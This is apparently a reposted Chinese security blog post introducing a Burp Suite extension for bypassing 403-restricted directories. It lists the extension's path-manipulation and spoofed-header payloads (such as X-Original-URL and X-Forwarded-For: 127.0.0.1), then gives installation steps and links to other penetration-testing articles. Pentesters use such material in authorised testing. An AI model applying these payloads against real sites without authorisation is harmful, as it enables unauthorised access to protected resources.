Burpsuite扩展绕过403受限目录
2023-3-8 00:2:49 Author: 橘猫学安全(查看原文) 阅读量:19 收藏

一个burpsuite扩展,用于绕过403受限制的目录。通过使用PassiveScan(默认启用),此扩展将自动扫描每个403请求,因此只需添加到burpsuite中即可。
下载链接:sting8k/BurpSuite_403Bypasser

payloads:$ 1:HOSTNAME $ 2:PATH

$1/$2
$1/%2e/$2
$1/$2/.
$1//$2//
$1/./$2/./
$1/$2anything -H "X-Original-URL: /$2"
$1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1"
$1 -H "X-Rewrite-URL: /$2"
$1/$2 -H "Referer: /$2"
$1/$2 -H "X-Originating-IP: 127.0.0.1"
$1/$2 -H "X-Forwarded-For: 127.0.0.1"
$1/$2 -H "X-Remote-IP: 127.0.0.1"
$1/$2 -H "X-Client-IP: 127.0.0.1"
$1/$2 -H "X-Host: 127.0.0.1"
$1/$2 -H "X-Forwarded-Host: 127.0.0.1"
$1/$2%20/
$1/%20$2%20/
$1/$2?
$1/$2???
$1/$2//
$1/$2/
$1/$2/.randomstring
$1/$2..;/

安装

BurpSuite -> Extender

-> Extensions

-> Add

-> Extension Type: Python

-> Select file: 403bypasser.py

-> Next till Finish


文章转自https://zhuanlan.zhihu.com/p/337867355

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell
「 超详细 | 分享 」手把手教你如何进行内网渗透
神兵利器 | siusiu-渗透工具管理套件
一款功能全面的XSS扫描器
实战 | 一次利用哥斯拉马绕过宝塔waf
BurpCrypto: 万能网站密码爆破测试工具
快速筛选真实IP并整理为C段 -- 棱眼
自动探测端口顺便爆破工具t14m4t
渗透工具|无状态子域名爆破工具(1秒扫160万个子域)
查看更多精彩内容,还请关注橘猫学安全:
每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247506024&idx=1&sn=846bc3cdd8035614df78003905f6d09f&chksm=c04d5f56f73ad64084fa91dedd0424979f946444a586ac46d6e6f4ee526bf7790a30800eac7d#rd
如有侵权请联系:admin#unsafe.sh